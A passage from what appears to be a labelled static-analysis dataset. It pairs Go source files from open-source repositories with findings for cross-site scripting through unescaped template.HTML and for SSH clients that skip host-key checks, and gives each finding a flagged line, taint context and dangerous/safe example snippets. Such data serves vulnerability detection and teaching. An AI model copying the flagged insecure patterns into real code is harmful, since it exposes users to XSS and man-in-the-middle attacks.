{\n\t\tc.js = ``\n\t}\n}\n\nfunc (c *Html) GetContent() template.HTML {\n\ttitle := fmt.Sprintf(\"%s (v%s)\", c.Title, version.Version)\n\ticonLink := \"\"\n\tif c.UseIcon {\n\t\ticonLink = ``\n\t}\n\tcodeEditorLink := \"\"\n\tcodeEditorScript := \"\"\n\tif c.UseCodeEditor {\n\t\tcodeEditorLink = ``\n\t\tcodeEditorScript = `\n\n`\n\t}\n\treturn template.HTML(fmt.Sprintf(`\n\n\n \n \n \n\t%s\n\t%s\n\t%s\n \n\n\n\n
\n %s\n
\n\n%s\n%s\n\n\n`, title, iconLink, codeEditorLink, c.css, c.Page.GetContent(), codeEditorScript, c.js))\n}", "dangerousExampleEn": "1. func Dan_Xss(c *gin.Context) {\n2. \tuserInput := c.PostForm(\"input\")\n3. \tc.HTML(http.StatusOK, \"xss_result.html\", gin.H{\"Data\": template.HTML(userInput)})\n4. }\nLine 3: This is insecure because an external input value is used in template.HTML() without escaping.", "safeExampleEn": "1. func Safe_Xss(c* gin.Context){\n2. \tuserInput := c.PostForm(\"input\")\n3. \tescape_input :=template.HTMLEscapeString(userInput)\n4. \tc.HTML(http.StatusOK, \"xss_result.html\", gin.H{\"Data\": template.HTML(escape_input)})\n5. }\nLine 3: This is secure because the external input value is escaped using HTMLEscapeString().", "contexts": [{"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 52, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Sprintf"}}, {"lineNo": 52, "eventType": "sink", "messageKey": "gochk.XSS_HTML.GO.defect.sink", "params": {"arg0": "HTML"}}]}} {"id": "b324ae7090a5cbf27ea56f7fcf143da15169ecf72b839bb7bd62a834258f433f", "license": {"spdx": ["MIT"], "repo": "tranch/assistant", "path": "internal/app/web/component/form.go", "repo_head_hexsha": "b2548bc1e1602ade4ea332874536fd3c01331293", "stack_hexsha": "04e0442f49048e4be665acda3b13d5a4ea59c612", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (HTML)", "issueDescriptionEn": "The html/template package is implemented to create HTML template in Golang. The package basically handles HTML escaping and helps to prevent Cross-site scripting (XSS) attacks.\nHowever, two functions i.e. `template.HTML` and `template.HTMLAttr` do not escape characters in the html/template. If an unverified external input is included in the functions, it can cause vulnerabilities against the XSS attacks.\nYou can manually change special characters, such as &, <, >, `, ` into HTML entities: yet, html/template supports an escape function, `EscapeString`. `EscapeString` can be an option for escaping the input. Still, the user input needs to be avoided if possible.", "issueLineNumber": 21, "entireCode": "package component\n\nimport (\n\t\"fmt\"\n\t\"html/template\"\n\t\"strings\"\n)\n\ntype Form struct {\n\tName string\n\tAction string\n\tMethod string\n\tInputs []Component\n}\n\nfunc (c *Form) GetContent() template.HTML {\n\tbuf := new(strings.Builder)\n\tfor _, item := range c.Inputs {\n\t\tbuf.WriteString(string(item.GetContent()))\n\t}\n\treturn template.HTML(fmt.Sprintf(`
\n%s\n
\n\t\n\t\n
\n
`, c.Action, c.Method, buf.String()))\n}", "dangerousExampleEn": "1. func Dan_Xss(c *gin.Context) {\n2. \tuserInput := c.PostForm(\"input\")\n3. \tc.HTML(http.StatusOK, \"xss_result.html\", gin.H{\"Data\": template.HTML(userInput)})\n4. }\nLine 3: This is insecure because an external input value is used in template.HTML() without escaping.", "safeExampleEn": "1. func Safe_Xss(c* gin.Context){\n2. \tuserInput := c.PostForm(\"input\")\n3. \tescape_input :=template.HTMLEscapeString(userInput)\n4. \tc.HTML(http.StatusOK, \"xss_result.html\", gin.H{\"Data\": template.HTML(escape_input)})\n5. }\nLine 3: This is secure because the external input value is escaped using HTMLEscapeString().", "contexts": [{"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 21, "eventType": "sink", "messageKey": "gochk.XSS_HTML.GO.defect.sink", "params": {"arg0": "HTML"}}]}} {"id": "67432e0a3b2d75322c4cef2e374697fbe7871580ca25a7fad38e0145ec37fa54", "license": {"spdx": ["MIT"], "repo": "mohae/csv2htmltable", "path": "csv2htmltable.go", "repo_head_hexsha": "165485101a7d6331db2a9dde76dd23720efc739e", "stack_hexsha": "62364ff64f4b392fb42c6ff4fec5e9240f4c281e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (HTML)", "issueDescriptionEn": "The html/template package is implemented to create HTML template in Golang. The package basically handles HTML escaping and helps to prevent Cross-site scripting (XSS) attacks.\nHowever, two functions i.e. `template.HTML` and `template.HTMLAttr` do not escape characters in the html/template. If an unverified external input is included in the functions, it can cause vulnerabilities against the XSS attacks.\nYou can manually change special characters, such as &, <, >, `, ` into HTML entities: yet, html/template supports an escape function, `EscapeString`. `EscapeString` can be an option for escaping the input. Still, the user input needs to be avoided if possible.", "issueLineNumber": 206, "entireCode": "package csv2htmltable\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"html/template\"\n\t\"io\"\n)\n\n// DefaultHTag is the default value for the Heading Element.\nconst DefaultHTag = \"h4\"\n\nvar errTableHeader = errors.New(\"no table header information found\")\nvar errNoData = errors.New(\"no table data found\")\n\nvar tableTpl = `\n{{- if .Section.Include}}\n {{- if and .Section.Class .Section.ID}}\n
\n\t{{- else if .Section.Class}}\n
\n {{- else if .Section.ID}}\n
\n {{- else}}\n
\n {{- end}}\n{{- end}}\n{{- if .HeadingText}}\n{{ htag .HeadingTag .HeadingText}}\n{{- end}}\n\n{{- if .Caption}}\n {{.Caption}}\n{{- end}}\n{{- if $.HasHeader }}\n \n {{- range $i, $row := .HeaderRows}}\n {{- range $fld := $row}}\n {{- if eq $i 0}}\n {{$fld}}\n {{- else}}\n {{$fld}}\n {{- end}}\n {{- end}}\n {{- end}}\n \n{{- end}}\n{{- if $.Footer}}\n \n \n {{$.Footer}}\n \n \n{{- end}}\n{{- range $index, $record := .CSV -}}\n {{- if eq $index 0}}\n \n {{- end}}\n \n {{- range $ndx, $field := $record}}\n {{- if eq $ndx 0}}\n {{- if $.HasRowHeader}}\n {{$field}}\n {{- else}}\n {{$field}}\n {{- end}}\n {{- else}}\n {{$field}}\n {{- end}}\n {{- end}}\n \n{{- end}}\n \n\n{{- if .Section.Include}}\n
\n{{- end}}\n`\n\n// Section holds information about the section, if the table output has a\n// section - which is determined by the Include bool.\ntype Section struct {\n\tClass string\n\tID string\n\tInclude bool\n}\n\n// HTMLTable contains all of the information and configuration for a table\n// and its data, including the template itself. The generated table will be\n// consistent with w3.org documentation for HTML5. There may be elements\n// missing or partially supported but any deprecated elements are not\n// supported. It is assumed that the styling of the table will be done\n// with CSS.\n//\n// The border is always included and is either an empty string or \"0\" to\n// indicate that this is not a table for layout purposes.\n//\n// The table may be preceded by a heading element with a custom string. The\n// heading element type is specified by setting HeadingType to an int between\n// 1 and 6, inclusive. If the value is invalid, it will be set to 4, the\n// default, which corresponds with

.\n//\n// Optionally, the table can wrapped in a section by setting the\n// Section.Include field to true.\n//\n// The table's header rows output is controlled by the HasHeader field.\n// When false, no table headers will be generated. If the CSV data has\n// record header rows, the HeaderRowNum should be set to the number of\n// header rows it contains so that those rows will be skipped. If true\n// either the HeaderRowNum field can be set to the number of header rows\n// that the CSV data starts with or the HeaderRows fields can be set. If\n// the CSV contains header row information and you want to use custom Header\n// information, the HeaderRowNum should be set to the number of rows that the\n// CSV data contains, so that the number of rows in the CSV data to skip is\n// known, and the HeaderRows field should be set with the desired header\n// information.\ntype HTMLTable struct {\n\tHeadingText string\n\t// The heading tag int, valid values are 1-6, invalid value are set to the default.\n\tHeadingTag int\n\tBorder string // Should either be empty or 1.\n\tCaption string\n\tClass string\n\tID string\n\tFooter string\n\tCols int\n\tHasRowHeader bool // if true the first column of each row is a header\n\tSection\n\tHasHeader bool // Whether the table has a header section.\n\tHeaderRowNum int // Number of header rows in the CSV field.\n\t// Header information, if this is explicitly set and the CSV has header records,\n\t// the CSV header records will be ignored.\n\tHeaderRows [][]string\n\tCSV [][]string\n\ttpl *template.Template\n}\n\n// New returns a HTMLTable struct with a compiled table template whose name\n// is set to the received value. It is assumed that the CSV contains one\n// header row and that it should be part of the generated table. If that is\n// not the case, the table header information must be explicitly set.\nfunc New(n string) *HTMLTable {\n\tfuncMap := template.FuncMap{\n\t\t\"htag\": Heading,\n\t}\n\n\treturn &HTMLTable{Class: n, HasHeader: true, HeaderRowNum: 1, tpl: template.Must(template.New(n).Funcs(funcMap).Parse(tableTpl))}\n}\n\n// Write accepts an io.Writer, validates the current configuration, and\n// executes the HTML table template, writing the output to the received\n// io.Writer.\nfunc (h *HTMLTable) Write(w io.Writer) error {\n\t// Return an error if there's no table data.\n\tif len(h.CSV) == 0 {\n\t\treturn errNoData\n\t}\n\t// If this is not empty, set it to 1, regardless of what it was set to. This\n\t// is always set to explicitly indicate that this is a non-layout table. The\n\t// value must be either \"\" or \"1\".\n\t// See: https://www.w3.org/TR/html5/tabular-data.html#attr-table-border\n\tif h.Border != \"\" {\n\t\th.Border = \"1\"\n\t}\n\n\t// If the CSV has header records, process them\n\tif h.HeaderRowNum > 0 {\n\t\t// if there weren't any custom headers set, copy the header records from\n\t\t// the CSV to the header rows\n\t\tif len(h.HeaderRows) == 0 {\n\t\t\tfor i := 0; i < h.HeaderRowNum; i++ {\n\t\t\t\th.HeaderRows = append(h.HeaderRows, h.CSV[i])\n\t\t\t}\n\t\t}\n\t\t// remove the header rows from the CSV\n\t\th.CSV = h.CSV[h.HeaderRowNum:]\n\t}\n\t// If the table has headers; but there aren't any header rows: error.\n\tif h.HasHeader && len(h.HeaderRows) == 0 {\n\t\treturn errTableHeader\n\t}\n\th.Cols = len(h.CSV[0])\n\treturn h.tpl.Execute(w, h)\n}\n\n// Heading returns the heading element as template.HTML. If the HeadingType\n// is < 0 || > 6, the DefaultHTag will be used.\nfunc Heading(i int, s string) template.HTML {\n\tvar htag string\n\tswitch i {\n\tcase 1:\n\t\thtag = \"h1\"\n\tcase 2:\n\t\thtag = \"h2\"\n\tcase 3:\n\t\thtag = \"h3\"\n\tcase 4:\n\t\thtag = \"h4\"\n\tcase 5:\n\t\thtag = \"h5\"\n\tcase 6:\n\t\thtag = \"h6\"\n\tdefault:\n\t\thtag = DefaultHTag\n\t}\n\treturn template.HTML(fmt.Sprintf(\"<%s>%s\", htag, s, htag))\n}\n\n// Reset resets all of the structs settings to their defaults\nfunc (h *HTMLTable) Reset() {\n\th.HeadingText = \"\"\n\th.HeadingTag = 0\n\th.Border = \"\"\n\th.Caption = \"\"\n\th.Class = h.tpl.Name()\n\th.ID = \"\"\n\th.Footer = \"\"\n\th.Cols = 0\n\th.HasRowHeader = false\n\th.Section.Include = false\n\th.Section.Class = \"\"\n\th.Section.ID = \"\"\n\th.HasHeader = true\n\th.HeaderRowNum = 1\n\th.HeaderRows = h.HeaderRows[:0]\n\th.CSV = h.CSV[:0]\n}\n\n// IsTableHeaderErr returns whether or not the error returned was a result of\n// an error in the Table Header.\nfunc IsTableHeaderErr(err error) bool {\n\treturn err.Error() == errTableHeader.Error()\n}\n\n// IsNoDataErr returns whether or not the error was a result of no table data\n// being present.\nfunc IsNoDataErr(err error) bool {\n\treturn err.Error() == errNoData.Error()\n}", "dangerousExampleEn": "1. func Dan_Xss(c *gin.Context) {\n2. \tuserInput := c.PostForm(\"input\")\n3. \tc.HTML(http.StatusOK, \"xss_result.html\", gin.H{\"Data\": template.HTML(userInput)})\n4. }\nLine 3: This is insecure because an external input value is used in template.HTML() without escaping.", "safeExampleEn": "1. func Safe_Xss(c* gin.Context){\n2. \tuserInput := c.PostForm(\"input\")\n3. \tescape_input :=template.HTMLEscapeString(userInput)\n4. \tc.HTML(http.StatusOK, \"xss_result.html\", gin.H{\"Data\": template.HTML(escape_input)})\n5. }\nLine 3: This is secure because the external input value is escaped using HTMLEscapeString().", "contexts": [{"lineNo": 206, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 206, "eventType": "sink", "messageKey": "gochk.XSS_HTML.GO.defect.sink", "params": {"arg0": "HTML"}}]}} {"id": "2a99804ad33d31996ae2f60659b9ee6c2062fe5dd35c0df32c39d3ac11cead7d", "license": {"spdx": ["MIT"], "repo": "styxlab/kubeprov", "path": "pkg/ssh/ssh.go", "repo_head_hexsha": "a891e1e450868eff41b1a256f55fbcd190a8bc4b", "stack_hexsha": "bde3e77a0d8ab6da1314d69265c0123bd00f334e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper SSH Key Settings", "issueDescriptionEn": "ssh.InsecureIgnoreHostKey() function prevents an SSH client from verifying a server's public key in establishment of connection to the server. When establishing an SSH connection, the client usually stores the public key of the original server. And the key is used to verify the server's identity in subsequent connections. If the public key is not verified, a man-in-the-middle (MITM) attack may occur in the process.\nThe ssh.InsecureIgnoreHostKey() allows the client to connect to any server without verifying the server's public key.\nTherefore, the ssh.InsecureIgnoreHostKey() function should never be used in an actual service for security. Make sure to validate the server's host key using ssh.FixedHostKey() instead of ssh.InsecureIgnoreHostKey(), or send a request to verify the server's public key to the user.", "issueLineNumber": 62, "entireCode": "package ssh\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"time\"\n\n\t\"golang.org/x/crypto/ssh\"\n)\n\n// Key holds the key data for secure authentication\ntype Key struct {\n\tname string\n\tprivateKeyPath string\n\tsigner ssh.Signer\n}\n\n// Config holds the config data of the ssh client\ntype Config struct {\n\tclientConfig *ssh.ClientConfig\n}\n\n// Client holds the connection handle\ntype Client struct {\n\taddress string\n\tport int\n\tclient *ssh.Client\n}\n\n// AuthKey reads a private SSH key and creates a signiture\nfunc AuthKey(id string, filePath string) *Key {\n\n\tprivateKey, err := ioutil.ReadFile(filePath)\n\tif err != nil {\n\t\tlog.Fatalf(\"unable to read private key: %v\", err)\n\t}\n\n\tsigner, err := ssh.ParsePrivateKey(privateKey)\n\tif err != nil {\n\t\tlog.Fatalf(\"unable to parse private key: %v\", err)\n\t}\n\n\treturn &Key{\n\t\tname: id,\n\t\tprivateKeyPath: filePath,\n\t\tsigner: signer,\n\t}\n}\n\n// Config holds the ssh connection configuration\nfunc (key *Key) Config(user string) *Config {\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(key.signer)},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t\tTimeout: 60 * time.Second,\n\t}\n\n\treturn &Config{\n\t\tclientConfig: config,\n\t}\n}\n\n// Client establishes a connection\nfunc (config *Config) Client(ip string, port int) *Client {\n\n\tinterval := 2 * time.Second\n\ttimeout := 60 * time.Second\n\n\tlog.Printf(\"Wait for open port...\")\n\tif err := WaitForOpenPort(ip, port, interval, timeout); err != nil {\n\t\tlog.Fatal(\"Port is closed. Check your firewall.\")\n\t}\n\n\tendpoint := fmt.Sprintf(\"%s:%d\", ip, port);\n\tclient, err := ssh.Dial(\"tcp\", endpoint, config.clientConfig)\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to dial: \", err)\n\t}\n\n\treturn &Client{\n\t\taddress: ip,\n\t\tport: port,\n\t\tclient: client,\n\t}\n}\n\nfunc (c *Client) session() *ssh.Session {\n\n\tsession, err := c.client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to create session: \", err)\n\t}\n\n\treturn session\n}\n\n// Close the connection\nfunc (c *Client) Close() {\n\tc.client.Close()\n}\n\n// RunCmd executes a shell command on the remote server\nfunc (c *Client) RunCmd(cmd string) string {\n\n\tsession := c.session()\n\tdefer session.Close()\n\n\tvar b bytes.Buffer\n\tvar e bytes.Buffer\n\tsession.Stdout = &b\n\tsession.Stderr = &e\n\n\tif err := session.Run(cmd); err != nil {\n\t\tlog.Fatalf(\"Failed to run command:%s\\nstdout:%s\\nstderr:%v \", cmd, b.String(), err)\n\t}\n\treturn b.String()\n}\n\n//UploadFile copies a file from a local to a remote machine\nfunc (c *Client) UploadFile(localFile string, remotePath string, executable bool) error {\n\n\tpermission := \"C0644\"\n\tif executable {\n\t\tpermission = \"C0755\"\n\t}\n\n\tfileReader, _ := os.Open(localFile)\n\tdefer fileReader.Close()\n\n\tcontentsBytes, _ := ioutil.ReadAll(fileReader)\n\tsize := int64(len(contentsBytes))\n\n\tr := bytes.NewReader(contentsBytes)\n\n\tsession := c.session()\n\tdefer session.Close()\n\n\tvar b bytes.Buffer\n\tsession.Stderr = &b\n\n\tgo func() {\n\t\tw, _ := session.StdinPipe()\n\t\tfmt.Fprintln(w, permission, size, path.Base(localFile))\n\t\tio.Copy(w, r)\n\t\tfmt.Fprint(w, \"\\x00\")\n\t\tw.Close()\n\t}()\n\n\tif err := session.Run(\"/usr/bin/scp -t \" + remotePath); err != nil {\n\t\tfmt.Println(b.String())\n\t\tlog.Fatalf(\"write failed:%v\", err.Error())\n\t}\n\n\treturn nil\n}\n\n//UploadFile copies a file from a local to a remote machine\nfunc (c *Client) DownloadFile(remoteFile string, localPath string, useSudo bool) error {\n\n\tfilename := path.Base(remoteFile)\n \tlocalFile := filepath.Join(localPath, filename)\n\n\tfileReader, _ := os.Create(localFile)\n\tdefer fileReader.Close()\n\n\tcmd := fmt.Sprintf(\"dd if=%s\", remoteFile)\n\tif useSudo {\n\t\tcmd = fmt.Sprintf(\"sudo %s\", cmd)\n\t}\n\n\tsession := c.session()\n\tdefer session.Close()\n\n\tvar b bytes.Buffer\n\tsession.Stdout = &b\n\n\tif err := session.Run(cmd); err != nil {\n\t\tlog.Fatal(\"Failed to run: \" + err.Error())\n\t}\n\n\t_, err := fileReader.Write(b.Bytes())\n\tif err != nil {\n\t\tlog.Fatalf(\"write failed:%v\", err)\n\t}\n\n\treturn nil\n}\n", "dangerousExampleEn": "1. func Dan_SSH(c *gin.Context) {\n2. \tusername := \"sparrow\"\n3. \tpassword := models.Strings\n4. \n5. \tconfig := &ssh.ClientConfig{\n6. \t\tUser: username,\n7. \t\tAuth: []ssh.AuthMethod{\n8. \t\t\tssh.Password(password),\n9. \t\t},\n10. \t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n11. \t}\n12. \t...\n13. }\nLine 10: A man-in-the-middle attack may occur because InsecureIgnoreHostKey() is used.", "safeExampleEn": "1. func Safe_SSH(c *gin.Context) {\n2. \tusername := \"sparrow\"\n3. \tpassword := models.Strings\n4. \n5. \tconfig := &ssh.ClientConfig{\n6. \t\tUser: username,\n7. \t\tAuth: []ssh.AuthMethod{\n8. \t\t\tssh.Password(password),\n9. \t\t},\n10. //HostKeyCallback: ssh.InsecureIgnoreHostKey(),\n11. \t}\n12. \t...\n13. }\nLine 10: Logic for validating the server is required because InsecureIgnoreHostKey() is not used.", "contexts": [{"lineNo": 62, "eventType": "sink", "messageKey": "gochk.IMPROPER_SSH_KEY_SETTING.GO.defect", "params": {}}]}} {"id": "d04752b7f2d0b0ab6736ec164f818264298de42b8ba44782257f6f22fea5c684", "license": {"spdx": ["Apache-2.0"], "repo": "wahello/openshift-installer", "path": "terraform/libvirt/vendor/github.com/dmacvicar/terraform-provider-libvirt/libvirt/uri/ssh.go", "repo_head_hexsha": "c0e965a812d512cf99db2e2bb267118cc2375675", "stack_hexsha": "d27a22a35cef738c3de53e21ce0fb164a31133b9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper SSH Key Settings", "issueDescriptionEn": "ssh.InsecureIgnoreHostKey() function prevents an SSH client from verifying a server's public key in establishment of connection to the server. When establishing an SSH connection, the client usually stores the public key of the original server. And the key is used to verify the server's identity in subsequent connections. If the public key is not verified, a man-in-the-middle (MITM) attack may occur in the process.\nThe ssh.InsecureIgnoreHostKey() allows the client to connect to any server without verifying the server's public key.\nTherefore, the ssh.InsecureIgnoreHostKey() function should never be used in an actual service for security. Make sure to validate the server's host key using ssh.FixedHostKey() instead of ssh.InsecureIgnoreHostKey(), or send a request to verify the server's public key to the user.", "issueLineNumber": 100, "entireCode": "package uri\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"os/user\"\n\t\"strings\"\n\n\t\"golang.org/x/crypto/ssh\"\n\t\"golang.org/x/crypto/ssh/agent\"\n\t\"golang.org/x/crypto/ssh/knownhosts\"\n)\n\nconst (\n\tdefaultSSHPort = \"22\"\n\tdefaultSSHKeyPath = \"${HOME}/.ssh/id_rsa\"\n\tdefaultSSHKnownHostsPath = \"${HOME}/.ssh/known_hosts\"\n\tdefaultSSHAuthMethods = \"agent,privkey\"\n)\n\nfunc (u *ConnectionURI) parseAuthMethods() []ssh.AuthMethod {\n\tq := u.Query()\n\n\tauthMethods := q.Get(\"sshauth\")\n\tif authMethods == \"\" {\n\t\tauthMethods = defaultSSHAuthMethods\n\t}\n\n\tsshKeyPath := q.Get(\"keyfile\")\n\tif sshKeyPath == \"\" {\n\t\tsshKeyPath = defaultSSHKeyPath\n\t}\n\n\tauths := strings.Split(authMethods, \",\")\n\tresult := make([]ssh.AuthMethod, 0)\n\tfor _, v := range auths {\n\t\tswitch v {\n\t\tcase \"agent\":\n\t\t\tsocket := os.Getenv(\"SSH_AUTH_SOCK\")\n\t\t\tif socket == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tconn, err := net.Dial(\"unix\", socket)\n\t\t\t// Ignore error, we just fall back to another auth method\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"[ERROR] Unable to connect to SSH agent: %v\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tagentClient := agent.NewClient(conn)\n\t\t\tresult = append(result, ssh.PublicKeysCallback(agentClient.Signers))\n\t\tcase \"privkey\":\n\t\t\tsshKey, err := ioutil.ReadFile(os.ExpandEnv(sshKeyPath))\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"[ERROR] Failed to read ssh key: %v\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tsigner, err := ssh.ParsePrivateKey(sshKey)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"[ERROR] Failed to parse ssh key: %v\", err)\n\t\t\t}\n\t\t\tresult = append(result, ssh.PublicKeys(signer))\n\t\tcase \"ssh-password\":\n\t\t\tif sshPassword, ok := u.User.Password(); ok {\n\t\t\t\tresult = append(result, ssh.Password(sshPassword))\n\t\t\t} else {\n\t\t\t\tlog.Printf(\"[ERROR] Missing password in userinfo of URI authority section\")\n\t\t\t}\n\t\tdefault:\n\t\t\t// For future compatibility it's better to just warn and not error\n\t\t\tlog.Printf(\"[WARN] Unsupported auth method: %s\", v)\n\t\t}\n\t}\n\n\treturn result\n}\n\nfunc (u *ConnectionURI) dialSSH() (net.Conn, error) {\n\tauthMethods := u.parseAuthMethods()\n\tif len(authMethods) < 1 {\n\t\treturn nil, fmt.Errorf(\"could not configure SSH authentication methods\")\n\t}\n\tq := u.Query()\n\n\tknownHostsPath := q.Get(\"knownhosts\")\n\tknownHostsVerify := q.Get(\"known_hosts_verify\")\n\tdoVerify := q.Get(\"no_verify\") == \"\"\n\n\tif knownHostsVerify == \"ignore\" {\n\t\tdoVerify = false\n\t}\n\n\tif knownHostsPath == \"\" {\n\t\tknownHostsPath = defaultSSHKnownHostsPath\n\t}\n\n\thostKeyCallback := ssh.InsecureIgnoreHostKey()\n\tif doVerify {\n\t\tcb, err := knownhosts.New(os.ExpandEnv(knownHostsPath))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to read ssh known hosts: %w\", err)\n\t\t}\n\t\thostKeyCallback = cb\n\t}\n\n\tusername := u.User.Username()\n\tif username == \"\" {\n\t\tu, err := user.Current()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tusername = u.Username\n\t}\n\n\tcfg := ssh.ClientConfig{\n\t\tUser: username,\n\t\tHostKeyCallback: hostKeyCallback,\n\t\tAuth: authMethods,\n\t\tTimeout: dialTimeout,\n\t}\n\n\tport := u.Port()\n\tif port == \"\" {\n\t\tport = defaultSSHPort\n\t}\n\n\tsshClient, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%s\", u.Hostname(), port), &cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\taddress := q.Get(\"socket\")\n\tif address == \"\" {\n\t\taddress = defaultUnixSock\n\t}\n\n\tc, err := sshClient.Dial(\"unix\", address)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to connect to libvirt on the remote host: %w\", err)\n\t}\n\n\treturn c, nil\n}", "dangerousExampleEn": "1. func Dan_SSH(c *gin.Context) {\n2. \tusername := \"sparrow\"\n3. \tpassword := models.Strings\n4. \n5. \tconfig := &ssh.ClientConfig{\n6. \t\tUser: username,\n7. \t\tAuth: []ssh.AuthMethod{\n8. \t\t\tssh.Password(password),\n9. \t\t},\n10. \t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n11. \t}\n12. \t...\n13. }\nLine 10: A man-in-the-middle attack may occur because InsecureIgnoreHostKey() is used.", "safeExampleEn": "1. func Safe_SSH(c *gin.Context) {\n2. \tusername := \"sparrow\"\n3. \tpassword := models.Strings\n4. \n5. \tconfig := &ssh.ClientConfig{\n6. \t\tUser: username,\n7. \t\tAuth: []ssh.AuthMethod{\n8. \t\t\tssh.Password(password),\n9. \t\t},\n10. //HostKeyCallback: ssh.InsecureIgnoreHostKey(),\n11. \t}\n12. \t...\n13. }\nLine 10: Logic for validating the server is required because InsecureIgnoreHostKey() is not used.", "contexts": [{"lineNo": 100, "eventType": "sink", "messageKey": "gochk.IMPROPER_SSH_KEY_SETTING.GO.defect", "params": {}}]}} {"id": "eb01b73090d6dc4e8a4788363e02e331e24842641230e953fa6e5b64f84ce5ef", "license": {"spdx": ["BSD-3-Clause"], "repo": "aeroqual/tpmk", "path": "cmd/tpmk/sshclient.go", "repo_head_hexsha": "4505073e1aae867ba09014587343f68b38bae246", "stack_hexsha": "6f955091859268e95af8add1f46b48c8b33f3d6d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper SSH Key Settings", "issueDescriptionEn": "ssh.InsecureIgnoreHostKey() function prevents an SSH client from verifying a server's public key in establishment of connection to the server. When establishing an SSH connection, the client usually stores the public key of the original server. And the key is used to verify the server's identity in subsequent connections. If the public key is not verified, a man-in-the-middle (MITM) attack may occur in the process.\nThe ssh.InsecureIgnoreHostKey() allows the client to connect to any server without verifying the server's public key.\nTherefore, the ssh.InsecureIgnoreHostKey() function should never be used in an actual service for security. Make sure to validate the server's host key using ssh.FixedHostKey() instead of ssh.InsecureIgnoreHostKey(), or send a request to verify the server's public key to the user.", "issueLineNumber": 173, "entireCode": "package main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/folbricht/tpmk\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/spf13/cobra\"\n\t\"golang.org/x/crypto/ssh\"\n\t\"golang.org/x/crypto/ssh/knownhosts\"\n\t\"golang.org/x/net/proxy\"\n)\n\ntype sshClientOptions struct {\n\tdevice string\n\tkeyPassword string\n\tcrtPassword string\n\tcrtFormat string\n\tcrtFile string\n\tcrtHandle string\n\tknownHostsFile string\n\tinsecure bool\n\tproxySocks5 string\n}\n\nfunc newSSHClientCommand() *cobra.Command {\n\tvar opt sshClientOptions\n\n\tcmd := &cobra.Command{\n\t\tUse: \"client \",\n\t\tShort: \"Execute a command remotely\",\n\t\tLong: `Executes a command on an SSH server using a key in the TPM\nand reads/writes to it via STDIN/STDOUT. Supports host and\nclient certificates, with the client certificate optionally\nread from an NV index in the TPM as well.\n\nUnless -k is used, a know hosts file in OpenSSH format needs\nto be provided with --known-hosts/-s. If none is given in the\ncommand line, $HOME/.ssh/known_hosts will be used if available\nfollowed by /etc/ssh/ssh_known_hosts.\n\nNote that no assumptions are made regarding user or port. Both\nneed to be speficied in the command in the typical format:\n@:\n`,\n\t\tExample: ` tpmk ssh client 0x81000000 root@host:22 \"ls -l\"\n\n tpmk ssh client -i 0x1500000 0x81000000 root@host:22 \"whoami\"`,\n\t\tArgs: cobra.ExactArgs(3),\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\treturn runSSHClient(opt, args)\n\t\t},\n\t\tSilenceUsage: true,\n\t}\n\tflags := cmd.Flags()\n\tflags.StringVarP(&opt.device, \"device\", \"d\", \"/dev/tpmrm0\", \"TPM device, 'sim' for simulator\")\n\tflags.StringVarP(&opt.keyPassword, \"key-password\", \"p\", \"\", \"TPM key password\")\n\tflags.StringVarP(&opt.knownHostsFile, \"known-hosts\", \"s\", \"\", \"Acceptable host keys or certs\")\n\tflags.StringVarP(&opt.crtFile, \"crt-file\", \"c\", \"\", \"Client certificate file\")\n\tflags.StringVarP(&opt.crtHandle, \"crt-handle\", \"i\", \"\", \"Read the client cert from a TPM NV index\")\n\tflags.StringVarP(&opt.crtPassword, \"crt-password\", \"n\", \"\", \"TPM NV index password\")\n\tflags.StringVarP(&opt.crtFormat, \"crt-format\", \"f\", \"openssh\", \"Format of the client cert\")\n\tflags.BoolVarP(&opt.insecure, \"insecure\", \"k\", false, \"Accept any host key\")\n\tflags.StringVarP(&opt.proxySocks5, \"socks5-proxy\", \"P\", \"\", \"Socks5 proxy string\")\n\treturn cmd\n}\n\nfunc runSSHClient(opt sshClientOptions, args []string) error {\n\tkeyHandle, 